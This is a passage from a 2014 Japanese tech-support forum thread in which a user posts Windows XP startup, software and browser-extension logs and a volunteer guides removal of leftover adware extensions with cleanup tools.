O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'Default user')
O8 - Extra context menu item: Add to Google Photos Screensa&ver - res://C:\WINDOWS\system32\GPhotos.scr/200
O8 - Extra context menu item: E&xport to Microsoft Excel - res://D:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - D:\ProgramFiles\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - D:\ProgramFiles\Messenger\msmsgs.exe
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/su2/ocx/15111/CTPID.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{AAC4A0CB-C003-44A6-9968-242CB0667474}: NameServer = 192.168.1.1
O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll
O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll
O23 - Service: SAS Core Service (!SASCORE) - SUPERAntiSpyware.com - D:\ProgramFiles\SUPERAntiSpyware\SASCORE.EXE
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Apple Mobile Device - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - D:\ProgramFiles\Bonjour\mDNSResponder.exe
O23 - Service: BrlAPI - Unknown owner - D:\cygwin\bin\cygrunsrv.exe
O23 - Service: Bwsvc - BUFFALO INC. - D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
O23 - Service: Google アップデート サービス (gupdate) (gupdate) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Updater Service (gusvc) - Google - D:\ProgramFiles\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: HitmanPro Scheduler (HitmanProScheduler) - SurfRight B.V. - D:\ProgramFiles\HitmanPro\hmpsched.exe
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - D:\ProgramFiles\iPod\bin\iPodService.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Oracle Corporation - D:\ProgramFiles\Java\jre7\bin\jqs.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - D:\ProgramFiles\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - D:\ProgramFiles\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: NFC Proxy Service (NFCProxyService) - Sony Corporation - D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
O23 - Service: RealNetworks Downloader Resolver Service - Unknown owner - D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
O23 - Service: Wyse PocketCloud (WysePocketCloud) - Unknown owner - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
O23 - Service: Wyse Remote Access (WyseRemoteAccess) - Wyse Technology. - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe

--
End of file - 8933 bytes


インストール情報ログになります。

+Lhaca 2014/02/17
Adobe AIR Adobe Systems Incorporated 2013/04/21 3.7.0.1530
Adobe Flash Player 12 ActiveX Adobe Systems Incorporated 2014/03/26 12.0.0.77
Adobe Flash Player 12 Plugin Adobe Systems Incorporated 2014/03/26 12.0.0.77
Adobe Reader XI (11.0.06) - Japanese Adobe Systems Incorporated 2014/02/09 149.00 MB 11.0.06
Apple Application Support Apple Inc. 2014/03/04 94.98 MB 3.0.1
Apple Mobile Device Support Apple Inc. 2014/03/04 20.73 MB 7.1.1.3
Apple Software Update Apple Inc. 2011/11/05 2.38 MB 2.1.3.127
ASIO Proxy for foobar2000 Maxim V.Anisiutkin 2014/03/29 0.6.5
ASIO4ALL Michael Tippach 2014/02/17 2.10
astah professional 6.1 Change Vision, Inc. 2014/02/17
ATOK 2009 株式会社ジャストシステム 2009/12/14 161.00 MB 22.0.3.0
Bonjour Apple Inc. 2014/03/04 1.03 MB 3.0.0.10
BUFFALO AirStation倍速設定ツール（アンインストール） 2014/03/29
BUFFALO クライアントマネージャ３ 2014/03/29
BUFFALO 親機子機切り替えツール BUFFALO INC. 2014/02/17
Canon ScanGear Toolbox CS 2.2 2014/02/17
CCleaner Piriform 2014/03/01 4.11
Compatibility Pack for the 2007 Office system Microsoft Corporation 2014/01/16 275.00 MB 12.0.6612.1000
Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Creative EAX ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｽﾋﾟｰｶｰ ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｿﾌﾄｳｪｱ ｵｰﾄｱｯﾌﾟﾃﾞｰﾄ
Dropbox Dropbox, Inc. 2014/02/17 2.4.11
DVD Shrink 3.2 DVD Shrink 2014/02/17
FeliCa Launcher Sony Corporation 2013/04/21 1.4.1.3
FFFTP Ver.1.98e FFFTP Project 2014/02/17
FLAC 1.2.1b (remove only) Xiph.org 2014/02/17 1.2.1b
GOM Player Gretech Corporation 2014/03/03 2.2.56.5183
Google Chrome Google Inc. 2010/05/29 32.0.1700.41
HandBrake 0.9.8 2014/02/17 0.9.8
HitmanPro 3.7 SurfRight B.V. 2014/03/29 3.7.9.216
IDiskバックアップツール 株式会社ジャストシステム 2009/11/13 0.1.1.0
iExplorer 2.2.1.3 Macroplant, LLC 2012/02/11
iFunbox (v2.7.2386.747), iFunbox DevTeam 2014/01/05 v2.7.2386.747
ImgBurn LIGHTNING UK! 2014/03/02 2.5.8.0
Intel(R) Graphics Media Accelerator Driver 2014/03/29
IObit Uninstaller IObit 2014/03/01 3.1.7.2405
iPhone 構成ユーティリティ Apple Inc. 2012/12/24 12.73 MB 3.6.1.296
Java 7 Update 51 Oracle 2013/04/21 129.00 MB 7.0.510
jetAudio Basic VX COWON 2010/01/05 8.0.0
JUSTｵﾝﾗｲﾝｱｯﾌﾟﾃﾞｰﾄ 株式会社ジャストシステム 2012/05/27 1.0.1.0
Malwarebytes Anti-Malware バージョン 1.75.0.1300 Malwarebytes Corporation 2014/03/16 1.75.0.1300
McAfee Security Scan Plus McAfee, Inc. 3.8.141.11
MediaInfo 0.7.67 MediaArea.net 2014/02/17 0.7.67
Mercurial 2.4.0 (x86) Matt Mackall and others 2012/11/24 24.27 MB 2.4.0
Microsoft .NET Framework 2.0 Service Pack 2 Microsoft Corporation 2014/02/13 3,483.00 MB 2.2.30729
Microsoft .NET Framework 2.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 6.23 MB 2.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft Corporation 2013/10/15 446.00 MB 3.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 9.40 MB 3.2.30729
Microsoft .NET Framework 4 Client Profile Microsoft Corporation 2014/02/13 4.0.30319
Microsoft .NET Framework 4 Extended Microsoft Corporation 2014/02/13 4.0.30319
Microsoft Office Excel Viewer Microsoft Corporation 2013/12/12 75.86 MB 12.0.6612.1000
Microsoft Office XP Professional with FrontPage Microsoft Corporation 2011/06/25 448.00 MB 10.0.6626.0
Microsoft SQL Server 2008 Microsoft Corporation 2014/02/17
Microsoft SQL Server 2008 Browser Microsoft Corporation 2010/02/28 7.95 MB 10.0.1600.22
Microsoft SQL Server 2008 Management Objects Microsoft Corporation 2010/02/28 11.47 MB 10.0.1600.22
Microsoft SQL Server 2008 Native Client Microsoft Corporation 2010/02/28 4.82 MB 10.0.1600.22
Microsoft SQL Server 2008 セットアップ サポート ファイル (英語) Microsoft Corporation 2010/02/28 35.48 MB 10.0.1600.22
Microsoft SQL Server Compact 3.5 SP1 デザイン ツール日本語版 Microsoft Corporation 2010/02/28 9.17 MB 3.5.5692.0
Microsoft SQL Server Compact 3.5 SP1 日本語版 Microsoft Corporation 2010/02/28 2.87 MB 3.5.5692.0
Microsoft SQL Server VSS Writer Microsoft Corporation 2010/02/28 6.50 MB 10.0.1600.22
Microsoft Visual C# 2008 Express Edition SP1 - 日本語 Microsoft Corporation 2014/02/17
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 Microsoft Corporation 2010/01/12 0.11 MB 8.0.50727.4053
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2011/06/25 5.28 MB 8.0.61001
Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 Microsoft Corporation 2010/03/02 0.15 MB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 Microsoft Corporation 2010/02/28 10.28 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/04/06 9.64 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2011/06/25 10.20 MB 9.0.30729.6161
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for .NET Framework - jpn Microsoft Corporation 2010/02/28 5.75 MB 3.5.30729
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for Win32 Microsoft Corporation 2010/02/28 2.61 MB 6.1.5295.17011
MobileMe Control Panel Apple Inc. 2011/02/14 11.97 MB 3.1.5.0
Mozilla Firefox 27.0.1 (x86 ja) Mozilla 2014/03/01 27.0.1
Mozilla Maintenance Service Mozilla 2014/03/01 27.0.1
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2009/11/14 2.67 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2009/12/14 2.77 MB 4.20.9876.0
MSXML 6.0 Parser (KB933579) Microsoft Corporation 2010/02/28 1.40 MB 6.10.1200.0
NFC Port Software Sony Corporation 2013/04/21 5.2.3.1
Orchis 2014/02/17
Paint.NET v3.5.10 dotPDN LLC 2013/04/03 14.62 MB 3.60.0
PC/SC Activator for Type B Sony Corporation 2013/04/21 1.2.1.0
PDF reDirect (remove only) EXP Systems LLC 2014/02/17 v2.5.2
PhoneTrans 3.3.8 iMobie Inc. 2013/03/12 3.3.8
Picasa 3 Google, Inc. 2014/02/17 3.8
PocketCloud Windows Companion 会社名 2013/04/06 16.15 MB 2.5.13
Python 2.4.3 Martin v. Lis 2012/11/24 29.34 MB 2.4.3150
QuickTime Apple Inc. 2011/02/14 73.72 MB 7.69.80.9
RealPlayer RealNetworks 2014/02/17 16.0.3
Safari Apple Inc. 2011/03/10 41.27 MB 5.33.20.27
SFCard Viewer 2 Sony Corporation 2013/04/21 2.4.1.2
Sleipnir Version 4.3.4 Fenrir Inc. 2013/05/16 4.3.4
Sound Blaster 5.1 VX 2014/02/17 1.0
SQL Server System CLR Types Microsoft Corporation 2010/02/28 0.81 MB 10.0.1600.22
SUPERAntiSpyware SUPERAntiSpyware.com 2014/03/16 5.7.1018
Surround Mixer 2014/02/17
Tera Term 4.74 2012/08/14
Widget Manager Sony Corporation 2013/04/21 2.4
Windows Genuine Advantage Validation Tool (KB892130) Microsoft Corporation 2009/11/11
Windows Internet Explorer 8 Microsoft Corporation 2009/11/12 20090308.140743
Windows Management Framework Core Microsoft Corporation 2010/02/27
WinRAR アーカイバ 2014/02/17
カシミール ３Ｄ ＤＡＮ杉本 2011/02/07 8.9.0


CCでの各タブのログになります。


windows

有効 HKCU:Run ctfmon.exe Microsoft Corporation C:\WINDOWS\system32\ctfmon.exe
有効 HKCU:Run SUPERAntiSpyware SUPERAntiSpyware D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
有効 HKLM:Run Adobe ARM Adobe Systems Incorporated "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
有効 HKLM:Run AppleSyncNotifier Apple Inc. C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CTSysVol Creative Technology Ltd D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
有効 HKLM:Run FeliCa Launcher Sony Corporation "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
有効 HKLM:Run HotKeysCmds Intel Corporation C:\WINDOWS\system32\hkcmd.exe
有効 HKLM:Run IgfxTray Intel Corporation C:\WINDOWS\system32\igfxtray.exe
有効 HKLM:Run IMJPMIG12.0 Microsoft Corporation C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
有効 HKLM:Run IMJPMIG8.1 Microsoft Corporation "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
有効 HKLM:Run iTunesHelper Apple Inc. "D:\ProgramFiles\iTunes\iTunesHelper.exe"
有効 HKLM:Run JustOnlineUpdate 株式会社ジャストシステム "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
有効 HKLM:Run Persistence Intel Corporation C:\WINDOWS\system32\igfxpers.exe
有効 HKLM:Run PHIME2002A Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
有効 HKLM:Run PHIME2002ASync Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
有効 HKLM:Run PocketCloud Location Wyse Technology Inc. D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
有効 HKLM:Run QuickTime Task Apple Inc. "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
有効 Startup Common クライアントマネージャ３.lnk BUFFALO INC. D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
有効 Startup Common スタートアップツール for ATOK 2009.lnk 株式会社ジャストシステム D:\ProgramFiles\JustSystems\ATOK22\ATOK22PC.EXE
有効 Startup User Dropbox.lnk Dropbox, Inc. C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe


Internet Explorer

有効 Extension Messenger Microsoft Corporation D:\ProgramFiles\Messenger\msmsgs.exe
有効 Extension 接続の問題の診断... Microsoft Corporation %windir%\Network Diagnostic\xpnetdiag.exe
有効 Helper ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
有効 Toolbar ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll


Fire Fox

有効 Extension DownThemAll! 2.0.16 Federico Parodi, Stefano Verna, Nils Maier default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\{DDC359D1-844A-42a7-9AA1-88A850A938A8}.xpi
有効 Extension ExsttraCoupoOan 4.3 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\bwgbik2zr@ieyezt-.edu
有効 Extension ExsturaSavings 4.2 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\uf3wyclw@yiezpeo.co.uk
無効 Extension Microsoft .NET Framework Assistant 0.0.0 Microsoft default Firefox 27.0.1 C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
有効 Extension UatubeAdRemoval 2.1 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\t1.iud@coo-mppawvxj.org
有効 Plugin Adobe Acrobat 11.0.6.70 Adobe Systems Inc. default Firefox 27.0.1 D:\ProgramFiles\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll
有効 Plugin Google Update 1.3.22.3 Google Inc. default Firefox 27.0.1 D:\ProgramFiles\Google\Update\1.3.22.3\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 27.0.1 D:\ProgramFiles\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.510.13 10.51.2.13 Oracle Corporation default Firefox 27.0.1 D:\ProgramFiles\Java\jre7\bin\dtplugin\npdeployJava1.dll
無効 Plugin Java(TM) Platform SE 7 U51 10.51.2.13 Oracle Corporation default Firefox 27.0.1 D:\ProgramFiles\Java\jre7\bin\plugin2\npjp2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 27.0.1 C:\Program Files\Windows Media Player\npdrmv2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 27.0.1 C:\Program Files\Windows Media Player\npwmsdrm.dll
有効 Plugin Picasa 3.0.0.0 Google, Inc. default Firefox 27.0.1 D:\ProgramFiles\Google\Picasa3\npPicasa3.dll
有効 Plugin QuickTime Plug-in 7.6.9 7.6.9.0 Apple Inc. default Firefox 27.0.1 D:\ProgramFiles\QuickTime\Plugins\npqtplugin7.dll
有効 Plugin RealDownloader Plugin 1.3.3.66 RealDownloader default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll
有効 Plugin RealNetworks(tm) RealDownloader Chrome Background Extension Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll
有効 Plugin RealNetworks(tm) RealDownloader HTML5VideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll
有効 Plugin RealNetworks(tm) RealDownloader PepperFlashVideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll
有効 Plugin RealPlayer Download Plugin 16.0.3.51 RealPlayer default Firefox 27.0.1 D:\ProgramFiles\Real\RealPlayer\Netscape6\nprpplugin.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 16.0.3.51 RealNetworks, Inc. default Firefox 27.0.1 D:\ProgramFiles\Real\RealPlayer\Netscape6\nppl3260.dll
有効 Plugin Shockwave Flash 12.0.0.77 Adobe Systems Incorporated default Firefox 27.0.1 C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll
有効 Plugin Windows Media Player Plug-in Dynamic Link Library 3.0.2.629 Microsoft Corporation (written by Digital Renaissance Inc.) default Firefox 27.0.1 C:\Program Files\Windows Media Player\npdsplay.dll
有効 Plugin Windows Presentation Foundation 3.5.30729.1 Microsoft Corporation default Firefox 27.0.1 c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll


Google Chorome

有効 Extension Douga Getter 2.3.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hhbcihapcmaemjinlbgafnjjihbdmjnf\2.3.1_0
有効 Extension ExsturaSavings 4.2 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\okoalocjcalfojfnkphopjgejhpeacfa\4.2
有効 Extension Google ウォレット 0.0.6.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
無効 Extension RealDownloader 1.3.3 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji\1.3.3_0
有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_0


Task

有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task AppleSoftwareUpdate Apple Inc. D:\ProgramFiles\Apple Software Update\SoftwareUpdate.exe -task
有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task Microsoft Windows XP のサポート終了に関する毎月のお知らせ Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe
有効 Task Microsoft Windows XP のサポート終了のお知らせ ログオン Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe -c
有効 Task RealPlayerRealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealPlayerRealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task RealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task SUPERAntiSpyware Scheduled Task 51e2c9c6-3d76-4476-8103-0e435c0361f3 SUPERAdBlocker.com D:\ProgramFiles\SUPERAntiSpyware\SASTask.exe "D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe" /TASK:51e2c9c6-3d76-4476-8103-0e435c0361f3
有効 Task SUPERAntiSpyware Scheduled Task 7b036cba-7256-4663-972b-9be5465bf9c8 SUPERAdBlocker.com D:\ProgramFiles\SUPERAntiSpyware\SASTask.exe "D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe" /TASK:7b036cba-7256-4663-972b-9be5465bf9c8


よろしくお願いします。
  • wysksun
  • 2014/03/29 (Sat) 19:45:56
返信フォームへ 
結構問題残ってます。再度処置を
作業と報告、ご苦労様です。
ログを見せてもらったところ、まだ色々残ってます。
念のため確認してよかったです。
以下の作業をまたお願いします。

以下のアプリはいろいろと評価よくないのでやはりアンインストール推奨です。
>GOM Player Gretech Corporation 2014/03/03 2.2.56.5183
使うなら設定と機能を把握して、これによるトラブルもすべて自己責任でお願いします。

以下のアプリは旧バージョンなので、最新版に更新してください。
>Mozilla Firefox 27.0.1 (x86 ja) Mozilla 2014/03/01 27.0.1
他にも旧バージョンないかしっかり確認を。

次に、先に使ったACの最新版をまたダウンロードしておいてください。

ACが準備できたらPCをセーフモードにして、またACでClean作業してから、そのログを保存しておいてください。

PCを通常モードで再起動したら、CCを起動して「Firefox」タブ内に下記がまだあれば、それを「無効」「エントリの削除」してください。
>有効 Extension DownThemAll! 2.0.16 Federico Parodi, Stefano Verna, Nils Maier default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\{DDC359D1-844A-42a7-9AA1-88A850A938A8}.xpi
>有効 Extension ExsttraCoupoOan 4.3 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\bwgbik2zr@ieyezt-.edu
>有効 Extension ExsturaSavings 4.2 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\uf3wyclw@yiezpeo.co.uk
>有効 Extension UatubeAdRemoval 2.1 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\t1.iud@coo-mppawvxj.org
探してもなくなってるものはスルーでいいです。

次に「Chrome」タブの下記も同様に処置です。
>有効 Extension Douga Getter 2.3.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hhbcihapcmaemjinlbgafnjjihbdmjnf\2.3.1_0
>有効 Extension ExsturaSavings 4.2 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\okoalocjcalfojfnkphopjgejhpeacfa\4.2

これができたらCCを終了後しばらくPC状態を様子見した後、再度CCで「Firefox」と「Chrome」タブのログを取り直してからそのログとACの作業後ログを返信に貼って、状態報告とともにレスください。
  • 悪代官
  • 2014/03/29 (Sat) 20:34:00
返信フォームへ 
ACのCleanが出来ませんでした。
ACのScanは出来るのですが、Cleanが出来ませんでした。
コマンドプロンプトにfsutil dirty set c:と入力した後の処理をしてから試しても同じでした。

よろしくお願いします。
  • wysksun
  • 2014/03/29 (Sat) 23:04:10
返信フォームへ 
作業できないところはスルーで進めていいです
おはようございます。

>ACのScanは出来るのですが、Cleanが出来ませんでした

おや、珍しい症状ですね？
PCをセーフモード状態でACを使ったと思いますが、では念のため通常モードで再度ACでClean作業を再試行してみてください。

これで処置ができればいいですが、これでもできない場合はCCのログだけあらたに取り直して、また状態報告とともにレスください
  • 悪代官
  • 2014/03/30 (Sun) 07:15:29
返信フォームへ 
再度CCで取り直したログになります。
おはようございます。

通常モードで再度ACでClean作業を再試行しても同じように
Scanは出来るのですが、Cleanが出来ませんでした。


再度CCで取り直した「Firefox」と「Chrome」タブのログになります。

Firefox

無効 Extension Microsoft .NET Framework Assistant 0.0.0 Microsoft default Firefox 28.0 C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
有効 Plugin Adobe Acrobat 11.0.6.70 Adobe Systems Inc. default Firefox 28.0 D:\ProgramFiles\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll
有効 Plugin Google Update 1.3.22.3 Google Inc. default Firefox 28.0 D:\ProgramFiles\Google\Update\1.3.22.3\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 28.0 D:\ProgramFiles\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.510.13 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\dtplugin\npdeployJava1.dll
有効 Plugin Java(TM) Platform SE 7 U51 10.51.2.13 Oracle Corporation default Firefox 28.0 D:\ProgramFiles\Java\jre7\bin\plugin2\npjp2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npdrmv2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 28.0 D:\ProgramFiles\Windows Media Player\npwmsdrm.dll
有効 Plugin Picasa 3.0.0.0 Google, Inc. default Firefox 28.0 D:\ProgramFiles\Google\Picasa3\npPicasa3.dll
有効 Plugin QuickTime Plug-in 7.6.9 7.6.9.0 Apple Inc. default Firefox 28.0 D:\ProgramFiles\QuickTime\Plugins\npqtplugin7.dll
有効 Plugin RealDownloader Plugin 1.3.3.66 RealDownloader default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll
有効 Plugin RealNetworks(tm) RealDownloader Chrome Background Extension Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll
有効 Plugin RealNetworks(tm) RealDownloader HTML5VideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 28.0 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll
